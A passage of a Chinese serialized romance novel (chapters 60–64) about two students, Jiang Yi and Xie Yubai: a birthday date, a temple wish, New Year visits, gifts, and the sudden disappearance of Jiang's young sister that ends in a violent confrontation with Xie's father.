谢逾白脚步不动,俊朗的面容此刻沉着,神色冷峻。 江逸手伸进他的臂弯,笑呵呵地哄着,“谁家的男朋友今天穿得这么帅?” 谢逾白目光直直地射向他,有种让人难以忽视的压迫感,把他的手放进自己敞开的外套口袋,声音冷沉,“你这么不乖?一放出来就招人惦记?” “放出来?我是狗吗?招人惦记说明你眼光好,我只惦记你,不就行了?”江逸笑着去挠他的手掌心。 谢逾白把他的手紧紧包裹住,眼睫垂下,“真不让人放心。” 江逸凑过去亲他的脸,被他偏头躲开。 “怎么了?”江逸在心里哀嚎,今天谢逾白生日,他打定主意要好好表现的。 谢逾白拉开驾驶位,江逸脑子一热,跟了进去,卡宴的车玻璃颜色很深,在外面什么也看不到。 江逸跨坐在谢逾白的腿上,后腰卡在方向盘上。 谢逾白神情一怔,“你怎么上来了。” “哄你。”江逸贴着他的唇角亲他,又被人躲开。江逸双手固定住他的侧脸,“再躲我就不客气了。” “你怎么不客气?” 江逸含住他的两片唇,“让小寿星嘴角破个小口子,算不算不客气?” 谢逾白的唇被咬住,江逸的腿因为动作磨蹭着他的腿,西装的布料很薄,摩擦的部位迅速升温。 江逸顺着他的唇亲吻,温柔熨帖的吻,带着明显的讨好,吻他的下巴,顺着脖颈亲吻他的喉结,江逸很少有这么乖顺的时候,有耐心不急躁,他的吻经常横冲直撞的,磕到谢逾白的牙齿,这次格外小心。 “宝贝,别生气了,我心里只有你,谁也看不到的。”江逸眼睛柔润地看着谢逾白,扶着他的肩膀,继续亲他,“别气了,行吗?” 谢逾白撩起眼皮,把他的舌头带进自己嘴里,用牙齿固定住,细细密密地咬,直到江逸腰几乎坐不住,身体发软,“江逸,再敢出去招人,我就在别人面前亲你。” 江逸神情一闪即逝的震惊,舌头发麻,“行啊,我还没试过被围观。” 他的腰被狠狠地掐了一下,腰部算他特别敏感的位置,他左右闪躲,蹭到了硬硬的触感,“啧,谢逾白,你怎么还这样啊?能不能有点进步?接个吻就这样了?” 谢逾白把人按进怀里,揉了揉眉骨,嗓音沙哑,“你真够迟钝的,你一坐上来就这样了。”《 》 60-68 第61章 “谁会记得那种事?”…… 江逸的腿接触他的坚硬, 这种感觉不算陌生,接触的皮肤开始发热,坐在车里, 虽然外面的人看不到,仍然有种大庭广众之下的羞耻感。 “谢逾白,今天你生日。” 谢逾白看着他嗯了一声。 “你有什么要求我都可以答应你。” 谢逾白从旁边抽出纸巾,擦了擦他头发上的水,“你是不是刚洗完澡就出来了,头发没干, 容易感冒。” 江逸硬着头皮直白地说, “你要不要我给你咬?” 谢逾白手上的动作一顿,黑沉沉的眼眸, 眸光向下, 看着江逸窘迫的样子, 他的眼尾自然地上扬, 嘴唇线条优美,色泽红润, 此时微微抿着。 谢逾白很喜欢江逸的唇, 殷红, 有肉感,咬起来很舒服,亲起来也销魂,他拇指抚摸江逸的唇珠,控制不住地往里面伸,撞到他的牙齿,碾压他的唇肉。 “谢逾白,你怎么想的, 怎么不说话?你想不想啊?”江逸在他的骚扰下勉强说完一句话。 “你的嘴唇很好看,你知道吗?”谢逾白喉结动了动,继续说,“太好看了,你这张嘴根本做不了那种事。” “谁说我做不了?你给我做过,我也要跟你做。” 谢逾白收回手指,身体向前,在他唇珠上轻轻印一下吻,“因为我做过,所以知道你做不了。” 他把人抱在自己身上,即使小腹有一团燥意在灼烧,他也甘之如饴,手臂环得紧紧的,“你不擅长的,不需要做,你会不舒服。” 江逸的嘴很小,万一嘴角撑破了怎么办?他的嘴唇是用来吻的。 江逸有点不服气,“你就是事多,这么好的机会不会把握。” 谢逾白安抚地抚摸他的后颈,“嗯,我的错。” “时间不早了,我定了饭点,我们去吃饭。”江逸从他身上翻下去,身体灵活地爬到副驾驶。 “去哪?” “这里,法式餐厅。” 谢逾白扫了一眼,以前去过几次,“你想吃法餐?”他语气里的惊讶毫不掩饰。 “你过生日,要隆重一些,浪漫一点。”江逸对他露出一个明亮的笑容。 谢逾白一直钟爱江逸的笑,他的唇角微微往上翘,卷起一个玩世不恭的弧度,有小小的笑弧,唇红齿白,每次看到,谢逾白的心快跟着融化了。 他抬手,指腹在江逸唇边的笑弧处蹭了下,“不用去吃法餐,不需要隆重,也不需要浪漫,能跟你一起过生日,与我而言,足矣。” 江逸心蓦然一跳,“别人有的你也得有,我想给你好的。” “好的需要我来定义,我觉得好才是好。” “你想吃什么?我陪你。” 谢逾白想了想,“你喜欢港式茶餐厅吗?” 江逸点头,总之肯定比法餐强,他训练了一下午,饿到前胸贴后背了。 吃完饭,江逸提议在商场里逛一逛,“今天比较匆忙,我没来得及给你准备礼物。” 其实江逸并非来不及,实在不知道买什么。谢逾白什么都有,什么都贵。 看出他的窘境,谢逾白答应,“我陪你一起选。” 江逸摸了摸额头,“预算充足,你随便挑。” “这么大方?” 江逸舌头舔了下嘴唇,忍着笑,他从谢逾白身上赚了十几万,放放血没什么。 谢逾白看到一个金镶玉的平安福吊坠,忽然想到什么,“江逸,我有想要的,不贵,你愿意给我吗?” “你说出来听听。” “我想去爬山。” 江逸掏出手机看了看晚上六点半了,“想去爬山?去哪爬山?” 谢逾白用手机导航给他看,车程不算远五十分钟左右,江逸一头雾水,“今天你生日,我打算好好陪你,你跟我说大冷天的要去爬山?” “你很为难吗?” “为难什么,今天我本来就是听你的,你说往东我不往西,走吧,我们去爬山。”江逸蹙眉看着他的鞋,“你穿皮鞋去爬山?还有这身看上去昂贵的礼服。” 谢逾白铁了心要去,“我没关系。” “我有关系,虽然天黑了,我不想让人当猴看,我给你买一套运动装加上鞋子作为礼物,怎么样?” “运动装可以,鞋子我自己买。”谢逾白不知道从哪里听说过,情侣之间不要送鞋,会越走越远。 由于时间原因,他们没有逛很久,谢逾白一双腿修长且健硕,天生的男模身材,简约的运动装上身,展现出独特的风采。 冬日天黑的早,到达山脚下七点半,两人开始往上爬,一路上遇到的全是下山的。 等他们到达山顶,几乎没什么人。江逸看到寺庙内有求平安福的地方,可以把自己的愿望写在红纸上,装进平安福的红色布袋子里。 有几个人在那里写,江逸觉得好笑,头枕着双臂,嘴角噙着笑看热闹,这些人怎么连这个也相信? 他一转身,看到谢逾白正专注地站在一个角落,好不容易等到了一支笔,拿到一张纸,开始写字。 谢逾白的脊背微弓,表情虔诚,小心翼翼,一笔一划。 在寺庙门口不远处,屹立着一棵古树,枝叶葱茏,层层叠叠的叶片相互交织,遮蔽了一方天地。 树干粗壮而斑驳,古树的枝桠间,密密麻麻地挂满了许愿条,成千上万条许愿条随风摇曳,宛如一片彩色的海洋。 善男信女们怀着虔诚之心,手持香火祭拜过后,将承载着自己心愿的纸条装入布条中,用竹竿轻轻挂在古树的枝头,希望这样,自己的愿望就能被神明听见。 江逸像一个置身事外的游客,他从来不相信这些,如果真的有神明,世间哪来这么多疾苦?如果神明会帮助世人,他苦苦哀求的时候,怎么没有一丝一毫的回应? 所以,根本就是自欺欺人,图个心里安慰罢了。 又一个自欺欺人的家伙。谢逾白紧握着竹竿,一下又一下地努力,试图将手中的许愿条挂上高处。 江逸则在一旁静静凝视着他。平日里鲜少失态的谢逾白,此刻显然有些不淡定。许愿条像是故意作对般,一次又一次挣脱束缚,掉落地面。 谢逾白并未气馁,每次都迅速弯腰,拍掉许愿条上沾染的泥土,眼神中透着一股执拗,重新挑起竹竿往上挂。 他的手在寒风中冻得一片赤红,他浑然不在意,终于,他的许愿条成为了千千万万个之一。 江逸拍他肩膀,“你幼不幼稚?没学过哲学?相信这些?” 谢逾白仰头,看着自己的许愿条迎着晚风飞舞,心里冉冉升起期望,“相信的。” 他拿出两个平安福,一个递给江逸,一个自己揣进怀里,“里面的字,你不要翻出来看,打开就不灵验了。” 江逸把他的手合在一起,用自己的双手掌心揉搓着,入手一片冰凉。 江逸知道谢逾白担心自己看他写了什么,刚才在寺庙里,没听说不允许打开看,会不不灵验这些话。 趁着谢逾白去上香的时间,江逸依靠在粗壮的许愿树上,手指打开平安福的红色袋子,没碰画好并折叠的符箓,打开谢逾白写的红色字条。 一愿,江逸平安顺遂 二愿,江逸理想达成 三愿,谢逾白与江逸朝朝暮暮,永不分离。 江逸眼底发热,好像有沙子顺着风吹进了眼中,谢逾白在生日这天,爬了这么久,就为了这个吗? 还有比他更傻的人吗? 谢逾白虔诚地上完香,留了香火钱,看见江逸正在对着红色绒布袋发呆,“我知道你不相信这些,快过年了,图个吉利。” 他把红色的绳子展开,指尖捏着红绳,有些别扭地问,“你戴吗?我可以帮你戴。” 江逸水润明亮的眼瞳看着他,眸光意味不明。 谢逾白把红绳卷起来,“不喜欢戴,放在家里也一样。” 江逸手指勾了下谢逾白脖颈露出来的红绳,“你什么时候戴上的?” “刚刚。” “你这么迫不及待?怎么不等我一起戴?” 谢逾白眼眸带着怔愣,迟缓地朝他看过来,“你愿意戴?” 江逸嘴角浮现出一缕动人的微笑,“谢逾白,你的举动好像谈恋爱没有安全感的小姑娘。” 他打开脖子上的围巾,白皙的脖颈伸过来,“戴吧,快点,冷死了。” 这条围巾就是江逸亲他时候用过的那条,谢逾白思绪纷飞,微微失神。 谢逾白的手指僵硬,不知是由于天冷还是因为紧张,好不容易戴好了,他捏着布袋放进江逸的衣服里,手指划过他凸起支棱的锁骨。 江逸抓住他的手,“你趁机占我便宜。谢逾白,你记得这条围巾吗?要不要再来一次?” “谁会记得那种事?” 江逸弯了下眼睛,谢逾白这么说,这就是记得了?他的手刚接触到围巾,想拿下来绕到谢逾白的脖颈上,被人抢先一步,后颈传来一阵勒感,身体不受控制的前倾。 谢逾白温热的气息喷在他的脸颊,呼吸伴随着柔软的唇一起落在。 他的后背撞在了百年老树的树干上,谢逾白的吻不急不缓,好像在跟他温存,唇瓣相贴,腰被卡住。 谢逾白的眼眸沉暗,里面暗藏着深海一般的柔情,看得江逸想要逃避,却不得不深陷其中。 他脖颈处的勒感愈发强烈,像有一条无形的绳索在慢慢收紧。眩晕感一波波袭来,他的脑袋随着谢逾白的动作被动地转动。唇舌间防线彻底失守,谢逾白先是含住他的下唇,轻轻吮吸,让江逸忍不住微微颤抖。 谢逾白趁势将江逸的舌头卷入自己口中,要将他揉进自己的身体里似的,坚决不肯放开。江逸有些慌乱,抬手用力拍打谢逾白的肩膀,一下,两下…… 可谢逾白像没有丝毫察觉,沉浸在这热烈的亲密之中。江逸定了定神,调动发软的舌头,与谢逾白纠缠。片刻后,他看准时机,猛地咬住谢逾白的舌头,谢逾白吃痛,身体微微一僵,下意识松开。 他趁机挣脱出来,大口大口地喘着气,像是在黑暗中挣扎许久后终于重获新生。 江逸的嘴唇微微分开,上面泛着一层水光,脸颊红扑扑的,唇色娇艳红润,他后颈处皮肤很薄,被磨得泛红,丝丝疼痛。 谢逾白亲吻他的唇角,脸颊,手摩挲他的后颈,声音饱含深情:“谢谢你,这是我过的最好的生日。” “目前最好的。”江逸纠正他,“以后你会有更好的。” 第62章 霸总,你带我去哪?…… 除夕悄然而至, 杨娴一大早往江逸家里敲门,催促着他跟自己去二姨家。 二姨家的妹妹夏韵忙前忙后,叽叽喳喳的, “哥,你喜欢吃什么馅的饺子?” 江逸坐在椅子上,长腿往外伸,看着微信聊天页面。 谢逾白:【你想要什么新年礼物?】 江逸:【你想吃什么馅的饺子?】 杨蓉一边摆水果,一边看了几眼江逸,“小逸, 跟谁聊天?” 江逸收起手机屏幕, 看也不看她一眼,不吱声。 杨蓉挂上柔和的笑, “你是不是跟大榜第一的学霸关系很好?” “是啊, 谢逾白经常来接哥哥, 他们两大帅哥, 太吸睛了。”夏韵眼神兴奋,“哥哥, 你成绩这么差, 怎么跟学霸成为朋友的?” 江逸掰开一枚开心果, “有你成绩差?我看了你的成绩单,一千名以外了。” “所以我没有学霸朋友啊。下午我们订票去看电影,哥哥你一起去吗? “不去。” 杨娴眸光一闪,随即恢复正常。待他们走了以后,江逸看着谢逾白的回复【什么馅都可以。】 他随意装了一些,马路上一个出租车也没有,他骑上摩托车。 谢逾白坐在客厅里,这样的日子, 是他最讨厌的,家里的亲戚一波接着一波,平时没什么往来,这个时候扎堆。 他的家教约束他,不能在来客人的时候,自己待在房间里。 跟谢承在一个空间,他暴戾的细胞全被激发出来,想揍人。谢雪姚安抚他,“这些人是最后一波人了,他们走了,我就带他离开。” 时间越拖越长,谢逾白看着手里的茶杯,想扔在谢承脸上。 坐在角落的谢沉野跟旁边人说,“这么冷的天,竟然还有人骑摩托车。” 谢逾白问:“什么摩托车?” “我来的时候看到的,红色的摩托车,我奇了怪了,别墅里竟然有人冬天骑摩托车。” 谢逾白噌地起身,外套也没来得及穿,拿起车钥匙,跑了出去,他拨打手机,谢沉野来了二十多分钟了,外面温度这么低,电话被接起来。 江逸温沉的声音顺着电话线传来,“你忙完了吗?” 谢逾白嗓音颤抖,“我没在忙,你怎么不给我打电话?” “大过年的,大家全在走亲戚。” “你在哪?” “你家大门口。” 谢逾白挂档的手发抖,门口正是风口,“你为什么不进来?门卫认识你的。” “我没什么事,也不着急,你慢点开车。” 谢逾白猛踩油门,四分钟就到了门口。江逸身着长款黑色羽绒服,羽绒服的拉链拉到了顶,试图抵御凛冽的寒风。 他将头盔摘下拿在手里,露出一张白皙的脸,脸被寒风吹得微微发红。 谢逾白把人拽进车里,扔进后座,心里波涛汹涌,双手发凉指尖麻木,捂住江逸更冰冷的脸,“你为什么骑车来,没打车?” 江逸水润清澈的眼睛笑了笑,“谁家出租车除夕了,还出来工作。” “既然这样,你不应该来,应该等我去找你。”谢逾白的面孔沉得可怕,胸口酝酿着火气,“江逸,你知不知道有多远?天这么冷,你要气死我?大过年的你存心让我不安生?” 他的火气来得没头没脑的,江逸晃动手里的保温盒,“别吵,等会儿饺子凉了就不好吃了。你来尝尝,等下,我摩托还在门口,我下去挪一下。” 谢逾白按住他的肩膀,“你不许动了,我安排保安过去处理。” 江逸打开保温盒,数着里面的饺子,“我二姨包的饺子很好吃,有大白菜馅,韭菜馅,酸菜馅,芹菜馅,你想吃哪种?我看看,你先尝白菜怎么样?” 谢逾白的脸沉在车玻璃的阴影里,一动不动。 “你不喜欢大白菜,芹菜怎么样?”江逸夹起芹菜馅,“我全程捂在肚子里,饺子还有热气呢。”他足足骑车一个小时,饺子没凉多不容易。 谢逾白的气一点也没有消散的迹象,他一张脸寒气十足,虽然车里开了空调,江逸觉得他的眼神太冷。 谢逾白语调冷淡,“我喜欢吃饺子?我一点也不喜欢,江逸,你想要我的命就直说,没必要这么折磨我。” “你今天又怎么了?我大老远巴巴的来看你,你一直闹什么?” “我允许你来了?我允许你骑车来了?”谢逾白胸腔里的火冲出来,眼神恐怖:“我如果知道你这么冷的天,骑车一个小时过来,我宁愿饿死。” 江逸总算明白了,他还纠结这个事,“我也不想骑车,打不到车,而且真没什么。初中的时候,上学三年,我骑了三年,不管数九寒冬,哪有人在乎我?” “我在乎!现在我在乎!”谢逾白低吼。 江逸耳骨被他震得发疼,“大少爷,你喊这么大声,嗓子不疼?” 谢逾白显然是气得不轻,耳朵泛起红意,素白的嘴唇颤抖着,牙关紧咬,从他起伏剧烈的胸膛不难看出,这次他真的动怒了。 江逸轻叹一口气,“是我不好,我不该来,现在滚行了吗?”他打开车门,做势要往外走,一只手臂横过来,拢住他的胸口。 “你还敢骑车回去?” “不然呢?我摩托车送给你啊?” “江逸!”谢逾白把他的身体转过来,眼底通红,胸膛不住地起伏,咬牙切齿地说,“我真该早点弄死你,留着你就是个祸害,天天给我找不痛快。” “有没有可能是你自己想不痛快?” “对,是我贱,非要心疼你,是我自找的。”谢逾白的脸冰寒到了极点。 江逸摸了下他鼻尖,“你倒也不必这么说自己。” 谢逾白冷冰冰地看他。 “我又不是小孩子,我心里有数,你这脾气,除了我谁能受得了?男朋友大老远来看你,你只顾着发脾气。不是说有新年礼物要给我,在哪呢?” “没有。” “我给你送饺子,你说好要给我的礼物不给我了?”江逸环住他的肩膀,张开手臂后身体往前靠,胸膛压着他的肩膀,嘴唇贴着他的耳际,“好了好了,我认错行不行?哎,我不该骑车来看你,下次我坐飞机来看你。” “你胡说什么。道歉不真诚。” “谢逾白,差不多得了。” “你能不能别这么不拿自己当回事?”谢逾白眉心陷下去,“明明在我心里,你……” “你什么啊?” 谢逾白赌气不说了。 “我皮糙肉厚的,哪里像你说的那么娇贵了。你到底有没有礼物?” “没带来。”礼物在外套里,有谢逾白准备的一套正装领带袖口等等。 “我们去取?” 谢逾白眼底阴云仍在,怒气未消。 江逸对着他绷紧的双唇啄了一下,“别气了。” 谢逾白偏头不看他。 江逸环住他的腰,唇瓣贴上他干燥的嘴唇,描绘着他薄薄的唇部轮廓,谢逾白身上有淡淡的薄荷香气,穿着的米白色毛衣上残留着橘子调的气息,暖暖的,很好闻,“你吃橘子了?” 谢逾白点点头,出来之前剥了澳洲蜜橘吃了几口。 “好吃吗?” “不知道。” “我尝尝。” “我没带下……”“来”字还未脱口,江逸的舌头已灵巧地探入,在谢逾白口中轻轻扫动,所到之处,带来丝丝酥麻。 谢逾白唇舌间残留着橘子淡淡的酸甜,随着呼吸与动作,酸甜气息萦绕在两人之间。江逸痴迷地吸吮着,谢逾白的气息与橘子的酸甜交融混合,他仿佛置身于一场绮梦,彻底沉醉其中。 他的手揪着谢逾白的衬衫领口,另一只手顺着他的衣襟往里摸,一层毛衣,一层衬衫,一层白色背心,江逸气笑了,“谢逾白,你到底穿了几层?” “三层,你呢?” 江逸的外套已经脱下来,他拽着谢逾白的手到衣襟处,“你自己摸摸看。” 谢逾白手指挑开他的黑色卫衣,触摸到温润滑腻的皮肤,“只有一层,不冷?” 江逸带着气音的声音在谢逾白耳边低喃,像橘子气泡水,“男朋友,你的腹肌这么好摸,怎么练的,教教我?” 谢逾白推开他,脸上的怒气消散殆尽,嘴硬地说,“不教,你一点也不听话。” 江逸抿唇一笑:“听,你说什么我都听你的。” “真的?” “真的。”江逸的大眼睛呈现出迷人的琥珀色泽,一眨一眨地忽闪着。 谢逾白忽然箍住他的腰,手臂跟铁钳子似的,对着他红软的唇重重咬了一口,“你不许拒绝,跟我走。” 江逸嘴唇被咬得直发麻,靠在后车座的车门上,脑子里多个思绪飘过,他看着正在开车的谢逾白,米白色毛衣搭白衬衫,他身姿犹如一棵挺拔的青松,英挺气质展露无遗。 他右手搭在方向盘上,腕间的奢华腕表十分吸睛,表带贴合他紧实的手腕,精致讲究。 江逸不禁啧舌道:“你将来肯定是个霸总。”霸道又温柔,偶尔嚣张的气焰,丰厚殷实的身家。 “你又在胡说些什么。”谢逾白抽空从后视镜看他。 “霸总,你带我去哪?能告知一下吗?” “你猜。” 江逸侧过脸庞,目光投向车窗外那一片灯红酒绿的世界,太阳早已悄悄隐没在地平线之下,城市的华灯初上,斑斓的光影交织。 他抬手轻轻掩住下唇,眼中似有星光闪烁,“去开房吗?” “江逸!”谢逾白踩着油门的脚顿了一下,江逸感觉车身一晃,“你开车到底行不行啊?注意安全。” 谢逾白快速用眼尾掠他,“想活命,你给我闭嘴。” 第63章 我也要跟你戴同款。 谢逾白的车停在奔驰4s店门口, 这一排全是4s店,江逸不理解,过年期间4s店竟然开门。 江逸不明所以, 脚步停下,握住谢逾白的手臂,“你要买车?你那辆卡宴不是刚买的?” “不是我买,给你买。” 江逸脚步往后退,“我能养得起车?” “我买的车,自然我负责养。” “说你是霸总, 你还来劲了?我们是学生, 买什么车?”江逸扭头准备回去。 谢逾白冷下脸,“刚刚你把我气得要死, 怎么答应我的?” 什么都听他的?江逸摸了摸鼻梁, “也太奇怪了, 你买件衣服就买了, 买车有点那个……” “哪个?” “像包养了。”江逸迅速看他一眼。 谢逾白脸色发青,“我需要包养才能找到男朋友?” “那你别给我花钱。” 谢逾白泄气一般, 语气柔和了一些, “是新年礼物, 不买那么贵的,行不行?” 江逸看着骄傲如斯的人,一点点垂下头,心里有点不是滋味,“买哪种,我说了算?” 谢逾白咬唇,点头。 江逸视线在这条街上扫过,“跟我来。”他的脚步停在特斯拉门口, “买这种,我喜欢电车。” “电车?一百万以内的车不安全。”谢逾白眉心蹙起,看着江逸的脸,妥协了,“好吧。” 店员见两个年轻人进来,没当一回事,挑便宜的车给他们介绍,谢逾白的面色越来越差,脑门上明晃晃写着“你在说什么破东西”,他打断店员,“安全性能最好的,配置最好的是哪款?” 江逸一下子捂住他的嘴唇,对着他眨眼睛,跟店员和气地说,“选性价比高的,空间宽敞一些的,实用就可以。” 他的手捂得紧紧的,谢逾白用力拉下他的手,“别捂了,我不管,你选。” 江逸选了一辆三十万的车,居然是七座的,谢逾白看车的眼神奇奇怪怪的,店员问,“请问二位贷款,还是全款?” 江逸笑盈盈看着谢逾白,手指点着他的衬衫领子,“请问谢先生,贷款吗?” 谢逾白脸有点黑,“全款。” 七天以后提车,两人回到车上,江逸眼神炙热地看着谢逾白,“金主,我们下一站去哪?” “闭嘴。” 江逸见到街边有一个小店,宋越朋友开的,开业的时候他去过,“停车!停车!” 谢逾白靠边停车,“怎么了?” “我们去那里,我有东西想送给你。” 谢逾白看着招牌,想不出里面是个什么地方,进去才知道是卖饰品的,出乎意料的,很多男性饰品,江逸看上了一对黑曜石的耳钉。 老板秦斯年三十岁左右,“你跟宋越来过吧?” “是的。” “给你员工折扣,选吧。” 耳钉12800,江逸从来没买过这么没用,这么贵的东西,“买耳钉去哪里打耳洞?” “不嫌弃的话,我可以帮你打,我们有设备。”秦斯年话不多,算不上热络,这样的老板卖东西还是挺舒服的。 江逸背靠在透明展示柜上,眼瞳中微光荡漾,撩拨着谢逾白,“要不要跟我戴同一款耳钉?” 谢逾白耳根有些红温,“谁愿意。” “行,我不强人所难,你随便选个饰品,算新年回礼。”他转身以后,手腕被拉住,谢逾白视线偏到一边,声音低低沉沉,“不用再选了,就你选的那对。等一下。你皮肤敏感,打耳洞会不会过敏?” 江逸弯唇笑着:“过敏,我也要跟你戴同款。” 谢逾白心脏狠狠悸动了一下,“你真能胡来。” 打耳洞的过程不算疼,速度很快,有种下坠似的疼痛,江逸右边打了个耳洞,谢逾白是左边。 两人先戴的是银针,要等肿胀消除了才能换耳钉,这款耳钉的耳针是白金的,据说不会过敏。 江逸耳垂瓷白,细腻莹润。打过耳洞的地方泛着不自然的红,谢逾白心中陡然升起一阵悔意,像有一只无形的手揪紧了他的心。 他缓指尖轻颤着碰触江逸的耳垂。 “江逸,你的耳朵可能不适应,你要记得每天消毒,家里有碘伏吗?” “有。” “你能保证每天消毒吗?” 江逸眼神灼灼地看着他,“你监督我,我就可以。” “我会监督你。” 谢逾白的车停在麦当劳门口,他找了好几圈,只有麦当劳还开业,今天是麦当劳人最少的一天,两人找了一个靠墙的角落。 谢逾白打开保温盒,江逸手盖住盒子,“别吃了,凉了。” “我喜欢吃凉的。”他夹起饺子默默地吃,谢逾白吃饭很文雅,细嚼慢咽,他的食量不大,之前是因为生病,好了以后食量见长,餐盒里足足有30多个饺子,他一个接着一个往嘴里送。 江逸看不下去了,放下手里的薯条,拦住他的筷子,“你吃不完别吃了,下顿也可以吃。” “我吃得下。”谢逾白表情倔强。 江逸拿他没办法,手拿起个饺子,打算跟他分担一点,谢逾白握住他的手,低头,眼睛看着他,咬住他手里的饺子,唇瓣轻轻碰了下他的手指。 江逸紧张地看了看周围,手指发烫,“你这么大个人了,吃饺子要人喂?” “为什么不行?”谢逾白咬走剩下的饺子,把他的手攥进手里,“你冒着生命危险给我送饺子,我能不吃完?” “我骑摩托车六年了,怎么就不安全了?” 或许是因为母亲离世的原因,谢逾白没什么安全感,习惯于把事情往不好的方向想,他很担心江逸会发生什么意外,“就算没有生命危险,得了流感,得不偿失。请你以后把自己放在第一位,可以吗?” 江逸手托着下巴,眼睛眨也不眨地看着他,“谢逾白,你把自己放在第一位了吗?” “当然。” “你说过,我们之间要坦诚,你上一次撒谎是什么时候?” 谢逾白眸心微颤,眼睫下垂,“刚刚。” 江逸眸光动了动,手搔了下他的掌心,“谢逾白,你真可爱。” * 东大的自主招生考试定在三月初,当天,江逸一大早出门,刚下楼就看到谢逾白的大G等在楼下。 车窗开着,一只瘦长的手搭在车窗上,谢逾白的手指很直,骨节漂亮,淡淡的青色血管覆盖其上,光看这只手就知道主人应该是个大帅哥。 视线向上移,深蓝色手表,江逸没见过这只表,超奢华的品牌,少爷真是无时无刻都这么精致。 他拉开副驾驶的车门,谢逾白侧头,表情淡淡的,脸部轮廓英隽迷人。 “你用不着来,我可以自己去,买车不就是开的吗?” 谢逾白轻声说,“男朋友不就是用的吗?” 他冷不丁冒出这句话,让江逸招架不住,跟冷淡的人谈恋爱是有情趣的,直白,直接,让人心脏微颤。 “吃早饭了吗?”谢逾白递过来包子和粥,他手边还有一个纸袋子。 江逸问,“那个袋子里面是什么?” “三明治跟汉堡,保险起见,你先吃包子,热乎的,不会有什么问题,三明治也是早晨新做的,毕竟是凉的。” 江逸看着包得褶皱不均匀的包子,咬了几口,口感意外地好,他脑海中浮现谢逾白这张矜傲的脸,站在厨房包包子的情形,没来由的笑出了声,“你怎么能去做饭呢?” “我是人,为什么不能做饭?” “大少爷不是有人伺候?” 谢逾白瞥他,“大少爷也要伺候人。” 到了东大门口,傅现,傅临等在那里,江逸匆忙跟他告别,“考完试见。” 谢逾白扯了下他的袖口,声音沉沉,“江逸,祝你考试顺利,梦想成真。” 江逸倾身,在他右手虎口处亲了一下,“等我。” 他下了车,正在等待检查准考证,傅现给他介绍一会儿要去的体育馆怎么走,江逸的手机响了,是二姨。 二姨知道今天考试,为什么忽然给他打电话,他看了眼时间,距离考试开始还有四十分钟,来得及,他接通电话。 “小逸,我知道你今天考试,就是问问你,知知刚刚有没有跟你走?” 江逸脊背一寒,一颗心不断往下坠,“二姨,你慢慢说,怎么回事?知知没跟我走。” 她的声音很慌乱,断断续续的,掺杂着喘气声,“刚才店里有点忙,知知正在店门口玩,我接了个电话的时间,不知道……怎么回事,我再找她,她……她人不见了!” 江逸仿佛一下子被人抛到了海里,不断下沉,手脚像灌了泥,“她不见了多久了?” “半个小时,不,40分钟了。” 江逸尽量让自己的声音冷静一些,“街坊邻居找了吗?我妈带走了吗?” “那段时间我刚好跟你妈妈通了电话,你妈妈在医院,她没来过。” “报警,二姨,立刻报警,我马上回去。”江逸拔腿往门外跑,傅现追上他,“马上进考场了,你干什么去?” 江逸慌了神,“我有点事,今天可能参加不了考试了。” “你在说什么?江逸,这次考试你准备了很久了,这几个月训练这么苦,你要临阵脱逃吗?”傅现还记得江逸为了有资格参加考试,在篮球比赛中带着伤上场,他这么拼命地训练,每次带给他考试的讯息,他眼中散发着明亮夺目的光。 江逸见状,只能说,“傅现,我妹妹走丢了,现在不知道人在哪,我必须回去。”他的眼神散乱,急切又痛心。 “我开车送你。我的车就停在校门里面。”傅现开得很快,江逸到家的时候,警察也上门了,距离知知失踪已经过去了一个多小时。 江逸四处寻找,两个多小时以后,他满头大汗,头重脚轻,脑子里不断出现知知可爱单纯的小脸,又想起他看过的残忍的小孩子被拐走的遭遇,江逸要疯了。 在他六神无主的时候,有一只手拉住他的胳膊,江逸本能地甩开,汗水滴进了他的眼睛,他透过朦胧的水汽看到了谢逾白的脸。 谢逾白双手按住他的肩膀,“江逸,你冷静一点,我去过二姨家了,有人说见到过一个黑衣男人,他戴着口罩跟黑色鸭舌帽,那人,我们见过。我分析这不一定是个拐卖事件,一般的拐卖事件是随机作案,不可能战线拉到一两个月这么久。” “你有在听我说话吗?现在我让你回想,你认识的人有没有人,有动机会带知知走?” 江逸暴力地揉搓自己的脸,努力让自己镇定下来,他思索了片刻,“有一个人,知知的亲生父亲,不过,他现在应该在坐牢。”年前知知被骗到公园的角落,江逸有点模模糊糊的印象,那黑衣人的身形似曾相识。 “应该?”谢逾白捕捉到他话里的不确定,“把那人的详细信息给我,我立刻派人查,你先跟我去车上。” 江逸摇头,靠着车身,不断地搓手,给二姨打电话,给警察打电话询问进度。 谢逾白接到了好几个电话,面色越来越阴沉,“江逸,目前初步怀疑是陈峰带走了知知,就是她的亲生父亲,她没有危险,你不要这么激动。现在我们兵分两路,你去警察那里报案,通过警察寻找陈峰,我用我的渠道去找。” 江逸大步往回跑,谢逾白还想跟他说什么,他根本听不到。 谢逾白把车开到知行律师事务所,掌心握着一把军工刀,四年半以前的一幕幕再次在他面前浮现。 谢承怎么可以这么无耻,这么卑贱。 第64章 外面有妖精勾他魂了?…… 谢逾白打开谢承的办公室门, 在寸土寸金的商业街,他的办公室格外宽敞,宽大的落地窗, 窗外高楼耸立,能看到建筑的尖顶。 谢承正在埋头看文件。 谢逾白反手关门,反锁,拎起手边的一个青花瓷的花瓶,对着棚顶右上角的监控用力一掷,准确无误地命中, 监控碎裂掉下来, 花瓶摔得粉碎。 谢承豁然起身,“你发什么疯?”他拿起办公室的电话, 想要叫保安。 电话被谢逾白一拽, 扔到一边, 他的身法巧妙, 很快,把谢承两只胳膊拧到身后, 嘎嘣嘎嘣两声脆响, 谢承胳膊骨折了。 一把冷冷发光的瑞士军刀架在了他的脖子上, 谢逾白的声音很淡,缓缓的,“谢承,你真没让我失望,我懒得跟你这种人废话,我给你三十秒的时间,要么,你立刻告诉我陈峰的下落。要么, 我直接送你下去见她。估计她不肯见你。你真是个不折不扣的人渣。” 谢承感受到脖颈上冰凉的刀刃刺入皮肤,他开始流血,“谢逾白,你真是个疯子,不过,是个聪明的疯子,有当顶级律师的资质。你比我预想的早来半个小时。你怎么发现的?” “少跟我废话,地址。” 谢承手动了动,把旁边的便签条递给他,上面写着,卓成旅馆301,还有一个联系电话,有电话号码就可以试图定位。 “谢承,别跟我耍花招,我给你三天时间,从这家公司滚蛋。”他拧着谢承的手再次用力,谢承冷汗直流,脖颈上的血蜿蜒而下,温热的,一滴一滴滴落在地上,场面血腥而残暴。 谢逾白的音量不大,声音冰寒犹如厉鬼,“如果你再敢动江逸和他家人,我跟你一起死。” 